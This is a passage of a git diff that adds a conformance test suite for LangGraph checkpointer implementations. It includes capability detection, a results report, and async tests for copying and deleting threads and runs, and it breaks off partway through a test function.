[Versioning](https://docs.langchain.com/oss/python/versioning) policies. + +## 💁 Contributing + +As an open-source project in a rapidly developing field, we are extremely open to contributions, whether it be in the form of a new feature, improved infrastructure, or better documentation. + +For detailed information on how to contribute, see the [Contributing Guide](https://docs.langchain.com/oss/python/contributing/overview). diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/__init__.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/__init__.py new file mode 100644 index 0000000..304ed47 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/__init__.py @@ -0,0 +1,9 @@ +"""langgraph-checkpoint-conformance: conformance test suite for checkpointer implementations.""" + +from langgraph.checkpoint.conformance.initializer import checkpointer_test +from langgraph.checkpoint.conformance.validate import validate + +__all__ = [ + "checkpointer_test", + "validate", +] diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/capabilities.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/capabilities.py new file mode 100644 index 0000000..b65f85d --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/capabilities.py @@ -0,0 +1,96 @@ +"""Capability detection for checkpointer implementations.""" + +from __future__ import annotations + +from dataclasses import dataclass +from enum import Enum +from typing import TYPE_CHECKING + +from langgraph.checkpoint.base import BaseCheckpointSaver + +if TYPE_CHECKING: + pass + + +class Capability(str, Enum): + """Capabilities that a checkpointer may support.""" + + PUT = "put" + PUT_WRITES = "put_writes" + GET_TUPLE = "get_tuple" + LIST = "list" + DELETE_THREAD = "delete_thread" + DELETE_FOR_RUNS = "delete_for_runs" + COPY_THREAD = "copy_thread" + PRUNE = "prune" + DELTA_CHANNEL_HISTORY = "delta_channel_history" + + +# Capabilities that every checkpointer must support. +BASE_CAPABILITIES = frozenset( + { + Capability.PUT, + Capability.PUT_WRITES, + Capability.GET_TUPLE, + Capability.LIST, + Capability.DELETE_THREAD, + } +) + +# Capabilities that are optional extensions. +EXTENDED_CAPABILITIES = frozenset( + { + Capability.DELETE_FOR_RUNS, + Capability.COPY_THREAD, + Capability.PRUNE, + Capability.DELTA_CHANNEL_HISTORY, + } +) + +ALL_CAPABILITIES = BASE_CAPABILITIES | EXTENDED_CAPABILITIES + +# Maps capability to the async method name on BaseCheckpointSaver (or subclass). +_CAPABILITY_METHOD_MAP: dict[Capability, str] = { + Capability.PUT: "aput", + Capability.PUT_WRITES: "aput_writes", + Capability.GET_TUPLE: "aget_tuple", + Capability.LIST: "alist", + Capability.DELETE_THREAD: "adelete_thread", + Capability.DELETE_FOR_RUNS: "adelete_for_runs", + Capability.COPY_THREAD: "acopy_thread", + Capability.PRUNE: "aprune", + Capability.DELTA_CHANNEL_HISTORY: "aget_delta_channel_history", +} + + +@dataclass(frozen=True) +class DetectedCapabilities: + """Result of capability detection for a checkpointer type.""" + + detected: frozenset[Capability] + missing: frozenset[Capability] + + @classmethod + def from_instance(cls, saver: BaseCheckpointSaver) -> DetectedCapabilities: + """Detect capabilities from a checkpointer instance.""" + inner_type = type(saver) + detected: set[Capability] = set() + + for cap, method_name in _CAPABILITY_METHOD_MAP.items(): + if _is_overridden(inner_type, method_name): + detected.add(cap) + + detected_fs = frozenset(detected) + return cls( + detected=detected_fs, + missing=ALL_CAPABILITIES - detected_fs, + ) + + +def _is_overridden(inner_type: type, method: str) -> bool: + """Check if *method* on *inner_type* differs from the base class default.""" + base = getattr(BaseCheckpointSaver, method, None) + impl = getattr(inner_type, method, None) + if base is None or impl is None: + return impl is not None + return impl is not base diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/initializer.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/initializer.py new file mode 100644 index 0000000..c130740 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/initializer.py @@ -0,0 +1,100 @@ +"""Checkpointer test registration and factory management.""" + +from __future__ import annotations + +from collections.abc import AsyncGenerator, Callable +from contextlib import asynccontextmanager +from dataclasses import dataclass, field +from typing import Any + +from langgraph.checkpoint.base import BaseCheckpointSaver + +# Type for the lifespan async context manager factory. +LifespanFactory = Callable[[], AsyncGenerator[None, None]] + +# Module-level registry of decorated checkpointer factories. +_REGISTRY: dict[str, RegisteredCheckpointer] = {} + + +async def _noop_lifespan() -> AsyncGenerator[None, None]: + yield + + +@dataclass +class RegisteredCheckpointer: + """A registered checkpointer test factory.""" + + name: str + factory: Callable[[], AsyncGenerator[BaseCheckpointSaver, None]] + skip_capabilities: set[str] = field(default_factory=set) + lifespan: LifespanFactory = _noop_lifespan + + @asynccontextmanager + async def create(self) -> AsyncGenerator[BaseCheckpointSaver, None]: + """Create a fresh checkpointer instance via the async generator.""" + gen = self.factory() + try: + saver = await gen.__anext__() + yield saver + finally: + try: + await gen.__anext__() + except StopAsyncIteration: + pass + + @asynccontextmanager + async def enter_lifespan(self) -> AsyncGenerator[None, None]: + """Enter the lifespan context (once per validation run).""" + gen = self.lifespan() + try: + await gen.__anext__() + yield + finally: + try: + await gen.__anext__() + except StopAsyncIteration: + pass + + +def checkpointer_test( + name: str, + *, + skip_capabilities: set[str] | None = None, + lifespan: LifespanFactory | None = None, +) -> Callable[[Any], RegisteredCheckpointer]: + """Register an async generator as a checkpointer test factory. + + The factory is called once per capability suite to create a fresh + checkpointer. The optional `lifespan` is an async generator that + runs once for the entire validation run (e.g. to create/destroy a + database). + + Example:: + + @checkpointer_test(name="InMemorySaver") + async def memory_checkpointer(): + yield InMemorySaver() + + With lifespan:: + + async def pg_lifespan(): + await create_database() + yield + await drop_database() + + @checkpointer_test(name="PostgresSaver", lifespan=pg_lifespan) + async def pg_checkpointer(): + yield PostgresSaver(conn_string="...") + """ + + def decorator(fn: Any) -> RegisteredCheckpointer: + registered = RegisteredCheckpointer( + name=name, + factory=fn, + skip_capabilities=skip_capabilities or set(), + lifespan=lifespan or _noop_lifespan, + ) + _REGISTRY[name] = registered + return registered + + return decorator diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/report.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/report.py new file mode 100644 index 0000000..f555322 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/report.py @@ -0,0 +1,198 @@ +"""Capability report: results, progress callbacks, and pretty-printing.""" + +from __future__ import annotations + +from collections.abc import Callable +from dataclasses import dataclass, field +from typing import Any + +from langgraph.checkpoint.conformance.capabilities import ( + BASE_CAPABILITIES, + EXTENDED_CAPABILITIES, + Capability, +) + +# Callback type for per-test progress reporting. +# (capability_name, test_name, passed, error_msg_or_None) -> None +OnTestResult = Callable[[str, str, bool, str | None], None] + +# Callback type for capability-level events. +# (capability_name, detected) -> None +OnCapabilityStart = Callable[[str, bool], None] + + +class ProgressCallbacks: + """Grouped callbacks for progress reporting during validation.""" + + def __init__( + self, + *, + on_capability_start: Callable[[str, bool], None] | None = None, + on_test_result: OnTestResult | None = None, + on_capability_end: Callable[[str], None] | None = None, + ) -> None: + self.on_capability_start = on_capability_start + self.on_test_result = on_test_result + self.on_capability_end = on_capability_end + + @classmethod + def default(cls) -> ProgressCallbacks: + """Dot-style progress: ``.`` per pass, ``F`` per fail.""" + + def _cap_start(capability: str, detected: bool) -> None: + if detected: + print(f" {capability}: ", end="", flush=True) + else: + print(f" ⊘ {capability} (not implemented)") + + def _test_result( + capability: str, test_name: str, passed: bool, error: str | None + ) -> None: + print("." if passed else "F", end="", flush=True) + + def _cap_end(capability: str) -> None: + print() # newline after dots + + return cls( + on_capability_start=_cap_start, + on_test_result=_test_result, + on_capability_end=_cap_end, + ) + + @classmethod + def verbose(cls) -> ProgressCallbacks: + """Per-test output with names and errors.""" + + def _cap_start(capability: str, detected: bool) -> None: + if detected: + print(f" {capability}:") + else: + print(f" ⊘ {capability} (not implemented)") + + def _test_result( + capability: str, test_name: str, passed: bool, error: str | None + ) -> None: + icon = "✓" if passed else "✗" + print(f" {icon} {test_name}") + if error: + for line in error.rstrip().splitlines(): + print(f" {line}") + + return cls( + on_capability_start=_cap_start, + on_test_result=_test_result, + ) + + @classmethod + def quiet(cls) -> ProgressCallbacks: + """No progress output.""" + return cls() + + +@dataclass +class CapabilityResult: + """Result of running a single capability's test suite.""" + + detected: bool = False + passed: bool | None = None # None = skipped + tests_passed: int = 0 + tests_failed: int = 0 + tests_skipped: int = 0 + failures: list[str] = field(default_factory=list) + + +@dataclass +class CapabilityReport: + """Aggregate report across all capabilities.""" + + checkpointer_name: str + results: dict[str, CapabilityResult] = field(default_factory=dict) + + def passed_all_base(self) -> bool: + """Whether all base capability tests passed.""" + for cap in BASE_CAPABILITIES: + result = self.results.get(cap.value) + if result is None or result.passed is not True: + return False + return True + + def passed_all(self) -> bool: + """Whether every detected capability's tests passed.""" + for result in self.results.values(): + if result.detected and result.passed is not True: + return False + return True + + def conformance_level(self) -> str: + """Return a human-readable conformance level string.""" + if self.passed_all(): + return "FULL" + if self.passed_all_base(): + return "BASE+PARTIAL" + return "BASE" if self._any_base_passed() else "NONE" + + def _any_base_passed(self) -> bool: + for cap in BASE_CAPABILITIES: + result = self.results.get(cap.value) + if result and result.passed is True: + return True + return False + + def print_report(self) -> None: + """Pretty-print the report to stdout.""" + width = 52 + border = "=" * width + print(f"\n{'':>2}{border}") + print(f"{'':>2} Checkpointer Validation: {self.checkpointer_name}") + print(f"{'':>2}{border}") + + def _section(title: str, caps: frozenset[Capability]) -> None: + print(f"{'':>2} {title}") + for cap in sorted(caps, key=lambda c: c.value): + result = self.results.get(cap.value) + if result is None: + icon = " " + suffix = "(no tests)" + elif not result.detected: + icon = "⊘ " + suffix = "(not implemented)" + elif result.passed is True: + icon = "✅" + suffix = "" + elif result.passed is False: + icon = "❌" + suffix = f"({result.tests_failed} failed)" + else: + icon = "⏭ " + suffix = "(skipped)" + print(f"{'':>2} {icon} {cap.value:20s} {suffix}") + print() + + _section("BASE CAPABILITIES", BASE_CAPABILITIES) + _section("EXTENDED CAPABILITIES", EXTENDED_CAPABILITIES) + + total = sum(1 for r in self.results.values() if r.detected) + passed = sum( + 1 for r in self.results.values() if r.detected and r.passed is True + ) + level = self.conformance_level() + print(f"{'':>2} Result: {level} ({passed}/{total})") + print(f"{'':>2}{border}\n") + + def to_dict(self) -> dict[str, Any]: + """Return a JSON-serializable dict.""" + return { + "checkpointer_name": self.checkpointer_name, + "conformance_level": self.conformance_level(), + "results": { + name: { + "detected": r.detected, + "passed": r.passed, + "tests_passed": r.tests_passed, + "tests_failed": r.tests_failed, + "tests_skipped": r.tests_skipped, + "failures": r.failures, + } + for name, r in self.results.items() + }, + } diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/__init__.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/__init__.py new file mode 100644 index 0000000..edcf3d0 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/__init__.py @@ -0,0 +1,31 @@ +"""Test spec modules for each checkpointer capability.""" + +from langgraph.checkpoint.conformance.spec.test_copy_thread import ( + run_copy_thread_tests, +) +from langgraph.checkpoint.conformance.spec.test_delete_for_runs import ( + run_delete_for_runs_tests, +) +from langgraph.checkpoint.conformance.spec.test_delete_thread import ( + run_delete_thread_tests, +) +from langgraph.checkpoint.conformance.spec.test_delta_channel_history import ( + run_delta_channel_history_tests, +) +from langgraph.checkpoint.conformance.spec.test_get_tuple import run_get_tuple_tests +from langgraph.checkpoint.conformance.spec.test_list import run_list_tests +from langgraph.checkpoint.conformance.spec.test_prune import run_prune_tests +from langgraph.checkpoint.conformance.spec.test_put import run_put_tests +from langgraph.checkpoint.conformance.spec.test_put_writes import run_put_writes_tests + +__all__ = [ + "run_put_tests", + "run_put_writes_tests", + "run_get_tuple_tests", + "run_list_tests", + "run_delete_thread_tests", + "run_delete_for_runs_tests", + "run_copy_thread_tests", + "run_prune_tests", + "run_delta_channel_history_tests", +] diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/_delta_fixtures.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/_delta_fixtures.py new file mode 100644 index 0000000..e15b180 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/_delta_fixtures.py @@ -0,0 +1,99 @@ +"""Shared fixtures for delta-channel conformance tests. + +Builds a parent chain with `_DeltaSnapshot` blobs at known positions via +direct `aput` / `aput_writes` calls. No langgraph or Pregel dependency. +""" + +from __future__ import annotations + +from collections.abc import Sequence +from typing import Any +from uuid import uuid4 + +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import BaseCheckpointSaver, Checkpoint +from langgraph.checkpoint.base.id import uuid6 + +from langgraph.checkpoint.conformance.test_utils import generate_metadata + + +async def build_delta_chain( + saver: BaseCheckpointSaver, + *, + thread_id: str | None = None, + checkpoint_ns: str = "", + channel: str = "messages", + snapshots_at_steps: Sequence[int] = (0,), + total_steps: int = 6, + write_value_fn: Any | None = None, +) -> list[RunnableConfig]: + """Build a parent chain with `_DeltaSnapshot` at known positions. + + Args: + saver: Checkpointer instance. + thread_id: Defaults to a random UUID. + checkpoint_ns: Namespace (default root). + channel: Channel name used for snapshots and writes. + snapshots_at_steps: Steps at which a `_DeltaSnapshot` blob is stored + in `channel_values[channel]`. Step 0 is the oldest checkpoint. + total_steps: Number of checkpoints in the chain. + write_value_fn: Callable(step) -> write value. Defaults to step index. + + Returns: + List of stored configs (oldest first), one per step. + """ + if write_value_fn is None: + + def write_value_fn(step: int) -> Any: + return step + + from langgraph.checkpoint.serde.types import _DeltaSnapshot + + thread_id = thread_id or str(uuid4()) + snapshot_set = set(snapshots_at_steps) + stored: list[RunnableConfig] = [] + parent_cfg: RunnableConfig | None = None + + for step in range(total_steps): + config: RunnableConfig = { + "configurable": { + "thread_id": thread_id, + "checkpoint_ns": checkpoint_ns, + } + } + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + + channel_values: dict[str, Any] = {} + channel_versions: dict[str, int] = {} + if step in snapshot_set: + channel_values[channel] = _DeltaSnapshot( + write_value_fn(step), + ) + channel_versions[channel] = step + 1 + + cp = Checkpoint( + v=1, + id=str(uuid6(clock_seq=-1)), + ts="", + channel_values=channel_values, + channel_versions=channel_versions, + versions_seen={}, + updated_channels=None, + ) + new_versions = dict(channel_versions) + parent_cfg = await saver.aput( + config, cp, generate_metadata(step=step), new_versions + ) + stored.append(parent_cfg) + + # Write a pending write for non-snapshot steps so the walk has + # something to collect. + if step not in snapshot_set: + await saver.aput_writes( + parent_cfg, [(channel, write_value_fn(step))], str(uuid4()) + ) + + return stored diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_copy_thread.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_copy_thread.py new file mode 100644 index 0000000..04e3984 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_copy_thread.py @@ -0,0 +1,250 @@ +"""COPY_THREAD capability tests — acopy_thread.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def _setup_source_thread( + saver: BaseCheckpointSaver, + tid: str, + *, + n: int = 3, + namespaces: list[str] | None = None, +) -> list[dict]: + """Create n checkpoints on tid (optionally across namespaces). Returns stored configs.""" + nss = namespaces or [""] + stored = [] + for ns in nss: + parent_cfg = None + for i in range(n): + config = generate_config(tid, checkpoint_ns=ns) + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint(channel_values={"step": i}) + cp["channel_versions"] = {"step": 1} + parent_cfg = await saver.aput( + config, cp, generate_metadata(step=i), {"step": 1} + ) + stored.append(parent_cfg) + return stored + + +async def test_copy_thread_basic(saver: BaseCheckpointSaver) -> None: + """Checkpoints appear on target thread.""" + src = str(uuid4()) + dst = str(uuid4()) + await _setup_source_thread(saver, src) + + await saver.acopy_thread(src, dst) + results = [] + async for tup in saver.alist(generate_config(dst)): + results.append(tup) + assert len(results) == 3, f"Expected 3 copied checkpoints, got {len(results)}" + + +async def test_copy_thread_all_checkpoints(saver: BaseCheckpointSaver) -> None: + """All checkpoints copied, not just latest.""" + src = str(uuid4()) + dst = str(uuid4()) + await _setup_source_thread(saver, src, n=3) + + await saver.acopy_thread(src, dst) + src_results = [] + async for tup in saver.alist(generate_config(src)): + src_results.append(tup) + + dst_results = [] + async for tup in saver.alist(generate_config(dst)): + dst_results.append(tup) + + assert len(dst_results) == len(src_results) + # Verify content matches + for s, d in zip( + sorted(src_results, key=lambda t: t.checkpoint["id"]), + sorted(dst_results, key=lambda t: t.checkpoint["id"]), + strict=True, + ): + assert s.checkpoint["channel_values"] == d.checkpoint["channel_values"], ( + f"channel_values mismatch for checkpoint {s.checkpoint['id']}" + ) + + +async def test_copy_thread_preserves_metadata( + saver: BaseCheckpointSaver, +) -> None: + """Metadata intact on copied checkpoints.""" + src = str(uuid4()) + dst = str(uuid4()) + await _setup_source_thread(saver, src, n=2) + + await saver.acopy_thread(src, dst) + src_tuples = [] + async for tup in saver.alist(generate_config(src)): + src_tuples.append(tup) + + dst_tuples = [] + async for tup in saver.alist(generate_config(dst)): + dst_tuples.append(tup) + + for s, d in zip( + sorted(src_tuples, key=lambda t: t.metadata.get("step", 0)), + sorted(dst_tuples, key=lambda t: t.metadata.get("step", 0)), + strict=True, + ): + for key in s.metadata: + assert s.metadata.get(key) == d.metadata.get(key), ( + f"metadata[{key!r}] mismatch: {s.metadata.get(key)!r} != {d.metadata.get(key)!r}" + ) + + +async def test_copy_thread_preserves_namespaces( + saver: BaseCheckpointSaver, +) -> None: + """Root + child namespaces copied.""" + src = str(uuid4()) + dst = str(uuid4()) + await _setup_source_thread(saver, src, n=1, namespaces=["", "child:1"]) + + await saver.acopy_thread(src, dst) + for ns in ["", "child:1"]: + results = [] + async for tup in saver.alist(generate_config(dst, checkpoint_ns=ns)): + results.append(tup) + assert len(results) == 1, ( + f"Expected 1 checkpoint in namespace '{ns}', got {len(results)}" + ) + + +async def test_copy_thread_preserves_writes(saver: BaseCheckpointSaver) -> None: + """Pending writes copied.""" + src = str(uuid4()) + dst = str(uuid4()) + configs = await _setup_source_thread(saver, src, n=1) + + # Add a write to the source + await saver.aput_writes(configs[-1], [("ch", "write_val")], str(uuid4())) + + await saver.acopy_thread(src, dst) + tup = await saver.aget_tuple(generate_config(dst)) + assert tup is not None + assert tup.pending_writes is not None + assert len(tup.pending_writes) == 1, ( + f"Expected 1 write, got {len(tup.pending_writes)}" + ) + assert tup.pending_writes[0][1] == "ch", ( + f"channel mismatch: {tup.pending_writes[0][1]!r}" + ) + assert tup.pending_writes[0][2] == "write_val", ( + f"value mismatch: {tup.pending_writes[0][2]!r}" + ) + + +async def test_copy_thread_preserves_ordering( + saver: BaseCheckpointSaver, +) -> None: + """Checkpoint order maintained.""" + src = str(uuid4()) + dst = str(uuid4()) + await _setup_source_thread(saver, src, n=4) + + await saver.acopy_thread(src, dst) + src_ids = [] + async for tup in saver.alist(generate_config(src)): + src_ids.append(tup.checkpoint["id"]) + + dst_ids = [] + async for tup in saver.alist(generate_config(dst)): + dst_ids.append(tup.checkpoint["id"]) + + # Order should match (both newest-first) + assert src_ids == dst_ids + + +async def test_copy_thread_source_unchanged(saver: BaseCheckpointSaver) -> None: + """Source thread still intact after copy.""" + src = str(uuid4()) + dst = str(uuid4()) + await _setup_source_thread(saver, src, n=2) + + # Snapshot source before copy + src_before = [] + async for tup in saver.alist(generate_config(src)): + src_before.append(tup.checkpoint["id"]) + + await saver.acopy_thread(src, dst) + # Source should be unchanged + src_after = [] + async for tup in saver.alist(generate_config(src)): + src_after.append(tup.checkpoint["id"]) + + assert src_before == src_after + + +async def test_copy_thread_nonexistent_source( + saver: BaseCheckpointSaver, +) -> None: + """Graceful handling of non-existent source thread.""" + src = str(uuid4()) + dst = str(uuid4()) + + # Should not raise (or raise a known error) + try: + await saver.acopy_thread(src, dst) + except Exception: + pass # Some implementations may raise; that's acceptable + + # Destination should be empty + results = [] + async for tup in saver.alist(generate_config(dst)): + results.append(tup) + assert len(results) == 0 + + +ALL_COPY_THREAD_TESTS = [ + test_copy_thread_basic, + test_copy_thread_all_checkpoints, + test_copy_thread_preserves_metadata, + test_copy_thread_preserves_namespaces, + test_copy_thread_preserves_writes, + test_copy_thread_preserves_ordering, + test_copy_thread_source_unchanged, + test_copy_thread_nonexistent_source, +] + + +async def run_copy_thread_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all copy_thread tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_COPY_THREAD_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("copy_thread", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result( + "copy_thread", test_fn.__name__, False, traceback.format_exc() + ) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delete_for_runs.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delete_for_runs.py new file mode 100644 index 0000000..3cb174a --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delete_for_runs.py @@ -0,0 +1,218 @@ +"""DELETE_FOR_RUNS capability tests — adelete_for_runs.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def _put_with_run_id( + saver: BaseCheckpointSaver, + tid: str, + run_id: str, + *, + checkpoint_ns: str = "", + parent_config: dict | None = None, +) -> dict: + """Put a checkpoint with a run_id in metadata, return stored config.""" + config = generate_config(tid, checkpoint_ns=checkpoint_ns) + if parent_config: + config["configurable"]["checkpoint_id"] = parent_config["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + md = generate_metadata(run_id=run_id) + return await saver.aput(config, cp, md, {}) + + +async def test_delete_for_runs_single(saver: BaseCheckpointSaver) -> None: + """One run_id removed.""" + tid = str(uuid4()) + run1, run2 = str(uuid4()), str(uuid4()) + + stored1 = await _put_with_run_id(saver, tid, run1) + await _put_with_run_id(saver, tid, run2, parent_config=stored1) + + # Pre-delete: verify both runs exist + pre_results = [] + async for tup in saver.alist(generate_config(tid)): + pre_results.append(tup) + pre_run_ids = {t.metadata.get("run_id") for t in pre_results} + assert run1 in pre_run_ids, "Pre-delete: run1 should exist" + assert run2 in pre_run_ids, "Pre-delete: run2 should exist" + + await saver.adelete_for_runs([run1]) + # run1's checkpoint should be gone; run2 should remain + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + + run_ids = {t.metadata.get("run_id") for t in results} + assert run1 not in run_ids + assert run2 in run_ids + + +async def test_delete_for_runs_multiple(saver: BaseCheckpointSaver) -> None: + """List of run_ids removed.""" + tid = str(uuid4()) + run1, run2, run3 = str(uuid4()), str(uuid4()), str(uuid4()) + + s1 = await _put_with_run_id(saver, tid, run1) + s2 = await _put_with_run_id(saver, tid, run2, parent_config=s1) + await _put_with_run_id(saver, tid, run3, parent_config=s2) + + # Pre-delete: verify all 3 runs exist + pre_results = [] + async for tup in saver.alist(generate_config(tid)): + pre_results.append(tup) + pre_run_ids = {t.metadata.get("run_id") for t in pre_results} + assert run1 in pre_run_ids, "Pre-delete: run1 should exist" + assert run2 in pre_run_ids, "Pre-delete: run2 should exist" + assert run3 in pre_run_ids, "Pre-delete: run3 should exist" + + await saver.adelete_for_runs([run1, run2]) + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + + run_ids = {t.metadata.get("run_id") for t in results} + assert run1 not in run_ids + assert run2 not in run_ids + assert run3 in run_ids + + +async def test_delete_for_runs_preserves_other_runs( + saver: BaseCheckpointSaver, +) -> None: + """Unrelated runs untouched.""" + tid = str(uuid4()) + run_keep = str(uuid4()) + run_delete = str(uuid4()) + + await _put_with_run_id(saver, tid, run_keep) + await _put_with_run_id(saver, tid, run_delete) + + # Pre-delete: verify both runs exist + pre_results = [] + async for tup in saver.alist(generate_config(tid)): + pre_results.append(tup) + pre_run_ids = {t.metadata.get("run_id") for t in pre_results} + assert run_keep in pre_run_ids, "Pre-delete: run_keep should exist" + assert run_delete in pre_run_ids, "Pre-delete: run_delete should exist" + + await saver.adelete_for_runs([run_delete]) + results = [] + async for tup in saver.alist(generate_config(tid)): + results.append(tup) + + run_ids = {t.metadata.get("run_id") for t in results} + assert run_keep in run_ids + + +async def test_delete_for_runs_removes_writes( + saver: BaseCheckpointSaver, +) -> None: + """Associated writes cleaned up.""" + tid = str(uuid4()) + run1 = str(uuid4()) + + stored = await _put_with_run_id(saver, tid, run1) + await saver.aput_writes(stored, [("ch", "val")], str(uuid4())) + + # Pre-delete: verify writes exist + pre_tup = await saver.aget_tuple(stored) + assert pre_tup is not None, "Pre-delete: checkpoint should exist" + assert pre_tup.pending_writes is not None and len(pre_tup.pending_writes) == 1, ( + f"Pre-delete: expected 1 write, got {len(pre_tup.pending_writes) if pre_tup.pending_writes else 0}" + ) + + await saver.adelete_for_runs([run1]) + # The checkpoint (and its writes) should be gone + tup = await saver.aget_tuple(stored) + assert tup is None + + +async def test_delete_for_runs_empty_list_noop( + saver: BaseCheckpointSaver, +) -> None: + """Empty list no error.""" + await saver.adelete_for_runs([]) + + +async def test_delete_for_runs_nonexistent_noop( + saver: BaseCheckpointSaver, +) -> None: + """Missing run_ids no error.""" + await saver.adelete_for_runs([str(uuid4())]) + + +async def test_delete_for_runs_across_namespaces( + saver: BaseCheckpointSaver, +) -> None: + """All namespaces cleaned.""" + tid = str(uuid4()) + run1 = str(uuid4()) + + await _put_with_run_id(saver, tid, run1, checkpoint_ns="") + await _put_with_run_id(saver, tid, run1, checkpoint_ns="child:1") + + # Pre-delete: verify run1 present in both namespaces + for ns in ["", "child:1"]: + pre_results = [] + async for tup in saver.alist(generate_config(tid, checkpoint_ns=ns)): + pre_results.append(tup) + pre_run_ids = {t.metadata.get("run_id") for t in pre_results} + assert run1 in pre_run_ids, f"Pre-delete: run1 should exist in ns='{ns}'" + + await saver.adelete_for_runs([run1]) + for ns in ["", "child:1"]: + results = [] + async for tup in saver.alist(generate_config(tid, checkpoint_ns=ns)): + results.append(tup) + run_ids = {t.metadata.get("run_id") for t in results} + assert run1 not in run_ids + + +ALL_DELETE_FOR_RUNS_TESTS = [ + test_delete_for_runs_single, + test_delete_for_runs_multiple, + test_delete_for_runs_preserves_other_runs, + test_delete_for_runs_removes_writes, + test_delete_for_runs_empty_list_noop, + test_delete_for_runs_nonexistent_noop, + test_delete_for_runs_across_namespaces, +] + + +async def run_delete_for_runs_tests( + saver: BaseCheckpointSaver, + on_test_result: Callable[[str, str, bool, str | None], None] | None = None, +) -> tuple[int, int, list[str]]: + """Run all delete_for_runs tests. Returns (passed, failed, failure_names).""" + passed = 0 + failed = 0 + failures: list[str] = [] + for test_fn in ALL_DELETE_FOR_RUNS_TESTS: + try: + await test_fn(saver) + passed += 1 + if on_test_result: + on_test_result("delete_for_runs", test_fn.__name__, True, None) + except Exception as e: + failed += 1 + msg = f"{test_fn.__name__}: {e}" + failures.append(msg) + if on_test_result: + on_test_result( + "delete_for_runs", test_fn.__name__, False, traceback.format_exc() + ) + return passed, failed, failures diff --git a/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delete_thread.py b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delete_thread.py new file mode 100644 index 0000000..20ab249 --- /dev/null +++ b/libs/checkpoint-conformance/langgraph/checkpoint/conformance/spec/test_delete_thread.py @@ -0,0 +1,149 @@ +"""DELETE_THREAD capability tests — adelete_thread.""" + +from __future__ import annotations + +import traceback +from collections.abc import Callable +from uuid import uuid4 + +from langgraph.checkpoint.base import BaseCheckpointSaver + +from langgraph.checkpoint.conformance.test_utils import ( + generate_checkpoint, + generate_config, + generate_metadata, +) + + +async def test_delete_thread_removes_checkpoints( + saver: BaseCheckpointSaver, +) -> None: + """All checkpoints gone after delete.""" + tid = str(uuid4()) + parent_cfg = None + for i in range(3): + config = generate_config(tid) + if parent_cfg: + config["configurable"]["checkpoint_id"] = parent_cfg["configurable"][ + "checkpoint_id" + ] + cp = generate_checkpoint() + parent_cfg = await saver.aput(config, cp, generate_metadata(step=i), {}) + + # Pre-delete: verify data exists + assert await saver.aget_tuple(generate_config(tid)) is not None, ( + "Pre-delete: checkpoint should exist" + ) + + await saver.adelete_thread(tid) + + tup = await saver.aget_tuple(generate_config(tid)) + assert tup is None + + results = [] + async for t in saver.alist(generate_config(tid)): + results.append(t) + assert len(results) == 0 + + +async def test_delete_thread_removes_writes(saver: BaseCheckpointSaver) -> None: + """Pending writes gone after delete.""" + tid = str(uuid4()) + config = generate_config(tid) + cp = generate_checkpoint() + stored = await saver.aput(config, cp, generate_metadata(), {}) + await saver.aput_writes(stored, [("ch", "val")], str(uuid4())) + + # Pre-delete: verify writes exist + pre_tup = await saver.aget_tuple(generate_config(tid)) + assert pre_tup is not None, "Pre-delete: checkpoint should exist" + assert pre_tup.pending_writes is not None and len(pre_tup.pending_writes) == 1, ( + f"Pre-delete: expected 1 write, got {len(pre_tup.pending_writes) if pre_tup.pending_writes else 0}" + ) + + await saver.adelete_thread(tid) + + tup = await saver.aget_tuple(generate_config(tid)) + assert tup is None + + +async def 